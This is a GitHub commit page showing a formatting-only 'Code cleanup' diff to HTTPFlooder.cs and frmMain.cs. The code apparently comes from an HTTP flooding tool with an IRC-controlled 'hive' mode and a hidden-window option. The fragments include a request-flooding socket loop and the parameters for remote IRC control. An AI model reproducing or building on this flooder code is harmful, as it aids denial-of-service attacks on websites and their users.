Skip to content
Browse files

Code cleanup

  • Loading branch information...
1 parent 9c35add commit 5a8aac80fd946e2e0c1ce59cdab45bf4eec3152b @NewEraCracker committed Jan 21, 2012
Showing with 13 additions and 9 deletions.
  1. +6 −2 HTTPFlooder.cs
  2. +7 −7 frmMain.cs
View
8 HTTPFlooder.cs
@@ -81,12 +81,16 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++
- if (Resp) socket.Receive(recvBuf, 64, SocketFlags.None);
+
+ if (Resp)
+ socket.Receive(recvBuf, 64, SocketFlags.None);
+
State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
tTimepoll.Stop();
tTimepoll.Start();
+
if (Delay >= 0)
- System.Threading.Thread.Sleep(Delay+1);
+ System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
View
14 frmMain.cs
@@ -30,11 +30,12 @@ public partial class frmMain : Form
public frmMain(bool hive, bool hide, string ircserver, string ircport, string ircchannel)
{
InitializeComponent();
- /* IRC */
- if (ircserver != "") {txtIRCserver.Text = ircserver;}
- if (ircport != "") {txtIRCport.Text = ircport;}
- if (ircchannel != "") {txtIRCchannel.Text = ircchannel;}
- /* Lets try this! */
+
+ // IRC
+ if ( !ircserver.Equals("") ) {txtIRCserver.Text = ircserver;}
+ if ( !ircport.Equals("") ) {txtIRCport.Text = ircport;}
+ if ( !ircchannel.Equals("") ) {txtIRCchannel.Text = ircchannel;}
+
if ( hide )
{
this.WindowState = FormWindowState.Minimized;
@@ -410,14 +411,13 @@ void CheckParams(List<string> pars)
{
string cmd = sp[0];
- // Have fun finding value :)
+ // Find param value
string value = "";
for (int key = 0; key < sp.Length; ++key)
{
if (key >= 1)
value += sp[key] + ( (key+1 < sp.Length) ? "=" : "");
}
- // ... and we got it :D
int num;
bool isnum;

0 comments on commit 5a8aac8

Please sign in to comment.
Something went wrong with that request. Please try again.